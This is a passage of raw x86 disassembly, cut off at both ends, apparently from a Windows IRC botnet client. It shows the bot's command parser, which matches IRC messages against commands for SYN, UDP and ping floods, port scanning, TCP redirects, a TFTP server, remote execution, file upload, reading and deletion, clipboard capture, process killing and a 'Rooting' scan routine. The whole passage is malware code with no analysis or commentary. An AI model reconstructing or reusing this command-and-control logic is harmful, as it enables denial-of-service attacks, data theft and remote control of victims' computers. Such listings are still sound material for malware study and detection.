eax, [ebp+var_830] push eax push esi call sub_40D860 pop ecx test eax, eax pop ecx jz short loc_407C82 loc_407C74: ; CODE XREF: sub_4077FD+462j inc edi add esi, 80h cmp edi, 2 jl short loc_407C5D jmp short loc_407C50 ; --------------------------------------------------------------------------- loc_407C82: ; CODE XREF: sub_4077FD+475j lea eax, [ebp+var_830] push 21h push eax call sub_40E610 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz short loc_407C50 push eax call sub_40CBC0 push [ebp+arg_24] mov esi, eax call sub_40CBC0 add esi, eax pop ecx cmp esi, 7Eh pop ecx ja short loc_407C50 push [ebp+arg_0] shl edi, 7 push [ebp+arg_24] add edi, [ebp+arg_18] push offset aSS_0 ; ":%s%s" push edi call sub_40C6C3 push ebx lea eax, [ebp+var_60C] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_404555 add esp, 24h jmp loc_407C50 ; --------------------------------------------------------------------------- loc_407CE5: ; CODE XREF: sub_4077FD+3BBj push edi push offset aPart ; "PART" call sub_40D860 pop ecx test eax, eax pop ecx jz short loc_407D07 push edi push offset aQuit ; "QUIT" call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_407D2E loc_407D07: ; CODE XREF: sub_4077FD+4F7j mov esi, [ebp+arg_18] xor edi, edi loc_407D0C: ; CODE XREF: sub_4077FD+52Fj cmp [esi], bl jz short loc_407D22 push [ebp+var_A4] push esi call sub_40D860 pop ecx test eax, eax pop ecx jz short loc_407D6E loc_407D22: ; CODE XREF: sub_4077FD+511j inc edi add esi, 80h cmp edi, 2 jl short loc_407D0C loc_407D2E: ; CODE XREF: sub_4077FD+508j push [ebp+var_A0] push offset a353 ; "353" call sub_40D860 pop ecx test eax, eax pop ecx jnz loc_407DCF push [ebp+var_94] push [ebp+arg_8] call sub_40D860 pop ecx test eax, eax pop ecx jnz loc_407C50 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 jmp loc_407C50 ; --------------------------------------------------------------------------- loc_407D6E: ; CODE XREF: sub_4077FD+523j mov eax, [ebp+arg_18] shl edi, 7 mov [edi+eax], bl lea eax, [ebp+var_C8] push eax lea eax, [ebp+var_2E4] push offset unk_41F860 push eax call sub_40C6C3 lea eax, [ebp+var_2E4] push eax call sub_403145 push [ebp+var_A0] push offset aPart ; "PART" call sub_40D860 add esp, 18h test eax, eax jnz loc_407C50 lea eax, [ebp+var_2E4] push eax mov eax, [ebp+var_A4] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_407B9C ; --------------------------------------------------------------------------- loc_407DCF: ; CODE XREF: sub_4077FD+545j push [ebp+var_A0] mov edi, offset aPrivmsg ; "PRIVMSG" push edi call sub_40D860 pop ecx mov esi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_407E23 push [ebp+var_A0] push esi call sub_40D860 pop ecx test eax, eax pop ecx jz short loc_407E23 push [ebp+var_A0] push offset dword_41F85C call sub_40D860 pop ecx test eax, eax pop ecx jnz loc_40B19B cmp dword_41DE44, ebx jz loc_40B19B loc_407E23: ; CODE XREF: sub_4077FD+5ECj ; sub_4077FD+5FEj push [ebp+var_A0] push edi call sub_40D860 pop ecx test eax, eax pop ecx jz loc_407F27 push [ebp+var_A0] push esi call sub_40D860 pop ecx test eax, eax pop ecx jz loc_407F27 mov eax, [ebp+var_98] inc [ebp+var_94] mov [ebp+var_24], 4 mov [ebp+var_9C], eax loc_407E68: ; CODE XREF: sub_4077FD+7E3j ; sub_4077FD+81Fj ... mov eax, [ebp+var_24] mov edi, eax shl edi, 2 lea eax, [ebp+edi+var_A4] mov ecx, [eax] lea esi, [ecx+1] mov [eax], esi mov al, [ecx] cmp al, byte_41DE50 mov [ebp+arg_C], esi jnz loc_407C50 push esi push offset dword_41F858 call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40B1A3 push esi push offset dword_41F858 call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40B1A3 cmp [ebp+var_A8], ebx jnz short loc_407EDB push [ebp+var_A0] push offset dword_41F85C call sub_40D860 pop ecx test eax, eax pop ecx jnz loc_40B19B loc_407EDB: ; CODE XREF: sub_4077FD+6C2j cmp [ebp+arg_28], ebx jnz loc_40B19B cmp dword_41E170, ebx mov [ebp+arg_8], ebx jle loc_40819A mov [ebp+arg_20], offset dword_42E688 loc_407EFA: ; CODE XREF: sub_4077FD+723j push esi push [ebp+arg_20] call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40804C inc [ebp+arg_8] add [ebp+arg_20], 0B8h mov eax, [ebp+arg_8] cmp eax, dword_41E170 jl short loc_407EFA jmp loc_40819A ; --------------------------------------------------------------------------- loc_407F27: ; CODE XREF: sub_4077FD+636j ; sub_4077FD+64Cj push [ebp+var_A0] push esi call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_407F40 mov [ebp+var_4], 1 loc_407F40: ; CODE XREF: sub_4077FD+73Aj cmp [ebp+var_9C], ebx jz loc_407C50 push (offset loc_41A90F+1) push [ebp+var_9C] call sub_40E4B0 pop ecx test eax, eax pop ecx jz short loc_407F67 cmp [ebp+var_4], ebx jz short loc_407F73 loc_407F67: ; CODE XREF: sub_4077FD+763j lea eax, [ebp+var_C8] mov [ebp+var_9C], eax loc_407F73: ; CODE XREF: sub_4077FD+768j cmp [ebp+var_98], ebx jz loc_407C50 inc [ebp+var_98] jz short loc_407FBA cmp [ebp+arg_10], ebx jz short loc_407FBA lea eax, [ebp+var_5A8] push eax call sub_40CBC0 push eax lea eax, [ebp+var_5A8] push [ebp+var_98] push eax call sub_40EAC0 add esp, 10h neg eax sbb eax, eax add eax, 4 mov [ebp+var_24], eax jmp short loc_407FBD ; --------------------------------------------------------------------------- loc_407FBA: ; CODE XREF: sub_4077FD+788j ; sub_4077FD+78Dj mov eax, [ebp+var_24] loc_407FBD: ; CODE XREF: sub_4077FD+7BBj mov edi, eax shl edi, 2 mov esi, [ebp+edi+var_A4] cmp esi, ebx jz loc_407C50 push esi push offset dword_41F84C call sub_40D860 pop ecx test eax, eax pop ecx jnz loc_407E68 mov ecx, [ebp+var_9C] cmp byte ptr [ecx], 23h jz short loc_40800D mov eax, dword_481D5C mov eax, off_41DF60[eax*4] cmp [eax], bl jz short loc_40800D push eax push ecx push offset dword_41F830 jmp loc_407B9C ; --------------------------------------------------------------------------- loc_40800D: ; CODE XREF: sub_4077FD+7F2j ; sub_4077FD+802j push esi push offset dword_41F828 call sub_40D860 pop ecx test eax, eax pop ecx jnz loc_407E68 mov edi, [ebp+edi+var_A0] cmp edi, ebx jz loc_407E68 mov eax, [ebp+var_9C] cmp byte ptr [eax], 23h jz loc_407E68 push edi push eax push offset dword_41F810 jmp loc_407B9C ; --------------------------------------------------------------------------- loc_40804C: ; CODE XREF: sub_4077FD+70Aj push offset asc_41F928 ; " :" push [ebp+arg_0] call sub_40E4B0 pop ecx cmp eax, ebx pop ecx jz loc_407C50 mov esi, [ebp+arg_8] mov cl, byte_41DE50 imul esi, 0B8h mov [eax+2], cl mov cl, byte_41DE50 mov [eax+3], cl lea ecx, dword_42E6A0[esi] push 9Fh add eax, 4 push ecx push eax call sub_40C720 lea eax, dword_42E688[esi] add esp, 0Ch mov [ebp+arg_8], 0Fh mov [ebp+arg_20], eax lea esi, [ebp+edi+var_64] loc_4080AA: ; CODE XREF: sub_4077FD+938j push [ebp+arg_8] lea eax, [ebp+var_20] push offset aD_1 ; "$%d-" push eax call sub_40C6C3 lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_40E4B0 add esp, 14h test eax, eax jz short loc_408103 cmp [esi], ebx jz short loc_408107 push [ebp+arg_20] call sub_40CBC0 add [ebp+var_C], eax pop ecx jz short loc_40812C push dword ptr [esi-4] push [ebp+var_C] call sub_40E4B0 pop ecx cmp eax, ebx pop ecx jz short loc_40812C push eax lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_4051D9 add esp, 0Ch jmp short loc_40812C ; --------------------------------------------------------------------------- loc_408103: ; CODE XREF: sub_4077FD+8CFj cmp [esi], ebx jnz short loc_40812C loc_408107: ; CODE XREF: sub_4077FD+8D3j lea eax, [ebp+var_20] push 2 push eax lea eax, [ebp+var_14] push eax call sub_40C720 lea eax, [ebp+var_14] mov [ebp+var_12], bl push eax lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_4051D9 add esp, 18h loc_40812C: ; CODE XREF: sub_4077FD+8E1j ; sub_4077FD+8F2j ... dec [ebp+arg_8] sub esi, 4 cmp [ebp+arg_8], ebx jg loc_4080AA lea eax, [ebp+edi+var_64] mov [ebp+arg_8], 10h mov esi, eax loc_408148: ; CODE XREF: sub_4077FD+98Ej push [ebp+arg_8] lea eax, [ebp+var_20] push offset aD_0 ; "$%d" push eax call sub_40C6C3 lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_40E4B0 add esp, 14h test eax, eax jz short loc_408182 mov eax, [esi] cmp eax, ebx jz short loc_408182 push eax lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_4051D9 add esp, 0Ch loc_408182: ; CODE XREF: sub_4077FD+96Dj ; sub_4077FD+973j dec [ebp+arg_8] sub esi, 4 cmp [ebp+arg_8], ebx jg short loc_408148 mov esi, [ebp+arg_C] mov [ebp+var_B0], 1 loc_40819A: ; CODE XREF: sub_4077FD+6F0j ; sub_4077FD+725j mov al, [esi] cmp al, byte_41DE50 jz short loc_4081B0 cmp [ebp+var_B0], ebx jz loc_40836C loc_4081B0: ; CODE XREF: sub_4077FD+9A5j push [ebp+arg_10] mov esi, [ebp+arg_0] push offset aMe ; "$me" push esi call sub_4051D9 lea eax, [ebp+var_C8] push eax push offset aUser_2 ; "$user" push esi call sub_4051D9 push [ebp+var_9C] push offset aChan ; "$chan" push esi call sub_4051D9 push ebx push ebx lea eax, [ebp+var_20] push 2 push eax call sub_406777 push eax push offset aRndnick_0 ; "$rndnick" push esi call sub_4051D9 add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push esi call sub_4051D9 mov esi, offset aChr ; "$chr(" push esi push [ebp+arg_0] call sub_40E4B0 add esp, 14h jmp loc_4082E7 ; --------------------------------------------------------------------------- loc_408224: ; CODE XREF: sub_4077FD+AECj push esi push [ebp+arg_0] call sub_40E4B0 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_20] push eax call sub_40C720 lea eax, [ebp+var_20] push offset asc_41F7D0 ; ")" push eax call sub_40E6E9 add esp, 1Ch cmp [ebp+var_20], 30h jl short loc_40825C cmp [ebp+var_20], 39h jle short loc_40826F loc_40825C: ; CODE XREF: sub_4077FD+A57j push 3 lea eax, [ebp+var_20] push offset a63 ; "63" push eax call sub_40C720 add esp, 0Ch loc_40826F: ; CODE XREF: sub_4077FD+A5Dj lea eax, [ebp+var_20] push eax call sub_40D9BF test eax, eax pop ecx jle short loc_40828C lea eax, [ebp+var_20] push eax call sub_40D9BF pop ecx mov [ebp+var_14], al jmp short loc_40829D ; --------------------------------------------------------------------------- loc_40828C: ; CODE XREF: sub_4077FD+A7Ej call sub_40CB5F push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_14], dl loc_40829D: ; CODE XREF: sub_4077FD+A8Dj lea eax, [ebp+var_20] mov [ebp+var_13], bl push eax call sub_40CBC0 mov [ebp+arg_8], eax push 0Ch lea eax, [ebp+var_20] push ebx push eax call sub_40CC40 mov eax, [ebp+arg_8] add eax, 6 push eax lea eax, [ebp+var_20] push [ebp+arg_10] push eax call sub_40C720 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_4051D9 push esi push [ebp+arg_0] call sub_40E4B0 add esp, 30h loc_4082E7: ; CODE XREF: sub_4077FD+A22j test eax, eax jnz loc_408224 mov esi, 1FFh lea eax, [ebp+var_B30] push esi push [ebp+arg_0] push eax call sub_40C720 lea eax, [ebp+var_B30] push esi push eax lea eax, [ebp+var_D30] push eax call sub_40C720 mov esi, offset asc_41F924 ; " " lea eax, [ebp+var_D30] push esi push eax call sub_40E6E9 add esp, 20h mov [ebp+var_A4], eax mov [ebp+arg_8], 1 loc_40833A: ; CODE XREF: sub_4077FD+B57j push esi push ebx call sub_40E6E9 pop ecx pop ecx mov ecx, [ebp+arg_8] inc [ebp+arg_8] cmp [ebp+arg_8], 20h mov [ebp+ecx*4+var_A4], eax jl short loc_40833A lea eax, [ebp+edi+var_A4] mov ecx, [eax] cmp ecx, ebx jz loc_407C50 add ecx, 3 mov [eax], ecx loc_40836C: ; CODE XREF: sub_4077FD+9ADj mov esi, [ebp+edi+var_A4] push esi push offset aRndnick ; "rndnick" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40B15F push esi push offset aRn ; "rn" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40B15F push esi push offset aDie ; "die" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40B13D push esi push offset aDe ; "de" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40B13D push esi push offset aLogout ; "logout" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40B099 push esi push offset aLo ; "lo" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40B099 push esi push offset aVersionw ; "versionw" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40B084 push esi push offset aVerw ; "verw" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40B084 push esi push offset aSecure ; "secure" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AF78 push esi push offset aSec ; "sec" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AF78 push esi push offset aUnsecure ; "unsecure" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AF78 push esi push offset aUnsec ; "unsec" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AF78 push esi push offset aLogstop ; "logstop" call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_408498 push [ebp+edi+var_A0] push 1Ah push offset aLogList ; "Log list" push offset aLog ; "LOG " jmp loc_40AF5C ; --------------------------------------------------------------------------- loc_408498: ; CODE XREF: sub_4077FD+C81j push esi push offset aRedirectstop ; "redirectstop" call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_4084C1 push [ebp+edi+var_A0] push 0Fh push offset aTcpRedirect ; "TCP redirect" push offset aRedirect_0 ; "REDIRECT " jmp loc_40AF5C ; --------------------------------------------------------------------------- loc_4084C1: ; CODE XREF: sub_4077FD+CAAj push esi push offset aSynstop ; "synstop" call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_4084EA push [ebp+edi+var_A0] push 0Ah push offset aSynFlood ; "Syn flood" push offset aSyn ; "SYN " jmp loc_40AF5C ; --------------------------------------------------------------------------- loc_4084EA: ; CODE XREF: sub_4077FD+CD3j push esi push offset aUdpstop ; "udpstop" call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_408513 push [ebp+edi+var_A0] push 0Eh push offset aUdpFlood ; "UDP flood" push offset aUdp ; "UDP " jmp loc_40AF5C ; --------------------------------------------------------------------------- loc_408513: ; CODE XREF: sub_4077FD+CFCj push esi push offset aPingstop ; "pingstop" call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_40853C push [ebp+edi+var_A0] push 0Dh push offset aPingFlood ; "Ping flood" push offset aPing_1 ; "PING " jmp loc_40AF5C ; --------------------------------------------------------------------------- loc_40853C: ; CODE XREF: sub_4077FD+D25j push esi push offset aTftpstop ; "tftpstop" call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_408565 push [ebp+edi+var_A0] push 4 push offset aServer ; "Server" push offset aTftp_0 ; "TFTP " jmp loc_40AF5C ; --------------------------------------------------------------------------- loc_408565: ; CODE XREF: sub_4077FD+D4Ej push esi push offset aProcsstop ; "procsstop" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AF49 push esi push offset aPsstop ; "psstop" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AF49 push esi push offset aSecurestop ; "securestop" call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_4085B8 push [ebp+edi+var_A0] push 18h push offset aSecure_0 ; "Secure" push offset aSecure_1 ; "SECURE " jmp loc_40AF5C ; --------------------------------------------------------------------------- loc_4085B8: ; CODE XREF: sub_4077FD+DA1j push esi push offset aScanstop ; "scanstop" call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_4085E1 push [ebp+edi+var_A0] push 7 push offset aProcess ; "process" push offset aRooting ; "Rooting" jmp loc_40AF5C ; --------------------------------------------------------------------------- loc_4085E1: ; CODE XREF: sub_4077FD+DCAj push esi push offset aScanstats ; "scanstats" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AF30 push esi push offset aStats ; "stats" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AF30 push esi push offset aReconnect ; "reconnect" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AF1A push esi push offset aR ; "r" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AF1A push esi push offset aDisconnect ; "disconnect" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AF03 push esi push offset aD ; "d" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AF03 push esi push offset aQuit_0 ; "quit" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AEBA push esi push offset aQ ; "q" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AEBA push esi push offset aStatus ; "status" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AE7C push esi push offset aS_2 ; "s" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AE7C push esi push offset aIdw ; "idw" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AE45 push esi push offset aIdw ; "idw" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AE45 push esi push offset aReboot ; "reboot" call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_40872F call sub_4054F9 test eax, eax mov eax, offset unk_41F5F4 jnz short loc_408701 mov eax, offset unk_41F5CC loc_408701: ; CODE XREF: sub_4077FD+EFDj push eax lea eax, [ebp+var_2E4] push eax call sub_40C6C3 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 1Ch jmp loc_409BDA ; --------------------------------------------------------------------------- loc_40872F: ; CODE XREF: sub_4077FD+EEFj push esi push offset aThreads ; "threads" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AD58 push esi push offset aT ; "t" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AD58 push esi push offset aAliases ; "aliases" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AD42 push esi push offset aAl ; "al" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AD42 push esi push offset aNetinfo ; "netinfo" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AD12 push esi push offset aNi ; "ni" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AD12 push esi push offset aSysinfo ; "sysinfo" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40ACFB push esi push offset aSi ; "si" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40ACFB push esi push offset aRrmm010kt ; "rrmm010kt" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40ACC1 push esi push offset aRrmm010kt ; "rrmm010kt" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40ACC1 push esi push offset aProcs ; "procs" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40ABA6 push esi push offset aPs ; "ps" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40ABA6 push esi push offset aUptime ; "uptime" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AB1F push esi push offset aUp ; "up" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AB1F push esi push offset aDriveinfo ; "driveinfo" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AAFF push esi push offset aDrv ; "drv" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AAFF push esi push offset aWho ; "who" call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_408906 cmp [ebp+var_8], ebx jnz short loc_4088AF push ebx push [ebp+var_4] push offset aLoginList ; "-[Login List]-" push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 14h loc_4088AF: ; CODE XREF: sub_4077FD+1096j mov edi, [ebp+arg_18] xor esi, esi loc_4088B4: ; CODE XREF: sub_4077FD+10FDj cmp [edi], bl lea eax, [edi+1] jnz short loc_4088C0 mov eax, offset aEmpty ; "<Empty>" loc_4088C0: ; CODE XREF: sub_4077FD+10BCj push eax push esi lea eax, [ebp+var_2E4] push offset aD_S ; "%d. %s" push eax call sub_40C6C3 push 1 lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_4088B4 push offset unk_41F520 jmp loc_40A2FC ; --------------------------------------------------------------------------- loc_408906: ; CODE XREF: sub_4077FD+1091j push esi push offset aGetclip ; "getclip" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AAB6 push esi push offset aGc ; "gc" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AAB6 push esi push offset aFlusharp ; "flusharp" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AA8B push esi push offset aFarp ; "farp" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AA8B push esi push offset aFlushdns ; "flushdns" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AA5B push esi push offset aFdns ; "fdns" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AA5B push esi push offset aCurrentip ; "currentip" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AA1E push esi push offset aCip ; "cip" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40AA1E push esi push offset aTftpserver ; "tftpserver" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A8E9 push esi push offset aTftp ; "tftp" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A8E9 push esi push offset aAlls ; "alls" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A5DC push esi push offset aAlls ; "alls" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A5DC mov eax, [ebp+edi+var_A0] cmp eax, ebx mov [ebp+arg_10], eax jz loc_407C50 push esi push offset aNick_0 ; "nick" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A5CF push esi push offset aN ; "n" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A5CF push esi push offset aJoin ; "join" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A5C0 push esi push offset aJ ; "j" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A5C0 push esi push offset aPart_0 ; "part" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A5B3 push esi push offset aPt ; "pt" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A5B3 push esi push offset aRaw ; "raw" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A58A push esi push offset aR ; "r" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A58A push esi push offset aKillthread ; "killthread" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A4CD push esi push offset aK ; "k" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A4CD push esi push offset aPrefixw ; "prefixw" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A4B4 push esi push offset aPrw ; "prw" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A4B4 push esi push offset aOpen ; "open" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A486 push esi push offset aO ; "o" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A486 push esi push offset aServerw ; "serverw" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A45D push esi push offset aSew ; "sew" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A45D push esi push offset aDns ; "dns" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A3F5 push esi push offset aDn ; "dn" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A3F5 push esi push offset aKillproc ; "killproc" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A3C5 push esi push offset aKp ; "kp" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A3C5 push esi push offset aKill ; "kill" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A366 push esi push offset aKi ; "ki" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A366 push esi push offset aDelete ; "delete" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A307 push esi push offset aDel ; "del" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A307 push esi push offset aMirccmd ; "mirccmd" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A291 push esi push offset aMirc_0 ; "mirc" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A291 push esi push offset aReadfile ; "readfile" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A203 push esi push offset aRf ; "rf" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A203 push esi push offset aGethost ; "gethost" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A11F push esi push offset aGh ; "gh" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A11F mov eax, [ebp+edi+var_9C] cmp eax, ebx mov [ebp+arg_18], eax jz loc_407C50 push esi push offset aAddalias ; "addalias" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A0DC push esi push offset aAa ; "aa" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A0DC push esi push offset aPrivmsg_0 ; "privmsg" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A09D push esi push offset aPm ; "pm" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A09D push esi push offset aAction ; "action" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A03B push esi push offset aA_0 ; "a" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40A03B push esi push offset aCycle ; "cycle" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409FDD push esi push offset aCy ; "cy" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409FDD push esi push offset aMode ; "mode" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409FAC push esi push offset aM ; "m" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409FAC push esi push offset aRepeat ; "repeat" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409EE4 push esi push offset aRp ; "rp" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409EE4 push esi push offset aDelay ; "delay" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409E50 push esi push offset aDe ; "de" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409E50 push esi push offset aKkttupw ; "kkttupw" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409C9D push esi push offset aKkttupw ; "kkttupw" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409C9D push esi push offset aExecute ; "execute" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409BF1 push esi push offset aE ; "e" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409BF1 push esi push offset aRename ; "rename" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409B69 push esi push offset aMv ; "mv" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409B69 mov eax, [ebp+edi+var_98] cmp eax, ebx mov [ebp+arg_0], eax jz loc_407C50 push esi push offset aSynflood ; "synflood" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409A59 push esi push offset aSyn_0 ; "syn" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409A59 push esi push offset aKktt ; "kktt" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409918 push esi push offset aKktt ; "kktt" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409918 push esi push offset aRedirect ; "redirect" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40981D push esi push offset aRd ; "rd" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40981D push esi push offset aPortscan ; "portscan" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409729 push esi push offset aPsc ; "psc" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409729 mov eax, [ebp+edi+var_94] cmp eax, ebx mov [ebp+arg_8], eax jz loc_407C50 push esi push offset aAss ; "ass" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_4093D9 push esi push offset aAas ; "aas" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_4093D9 push esi push offset aUdpflood ; "udpflood" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409290 push esi push offset aUdp_0 ; "udp" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409290 push esi push offset aU ; "u" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409290 push esi push offset aPingflood ; "pingflood" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409152 push esi push offset aPing_0 ; "ping" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409152 push esi push offset aP ; "p" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_409152 mov edi, [ebp+edi+var_90] cmp edi, ebx jz loc_407C50 push esi push offset aUpload ; "upload" call sub_40D860 pop ecx test eax, eax pop ecx jnz loc_40B19B push 4 push edi call sub_4037EA pop ecx test eax, eax pop ecx jnz short loc_409025 push edi push offset dword_41F304 loc_408FEC: ; CODE XREF: sub_4077FD+1F12j ; sub_4077FD+2CF2j lea eax, [ebp+var_2E4] push eax call sub_40C6C3 add esp, 0Ch loc_408FFB: ; CODE XREF: sub_4077FD+1F27j ; sub_4077FD+291Dj ... cmp [ebp+var_8], ebx jnz loc_40AC9D push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push 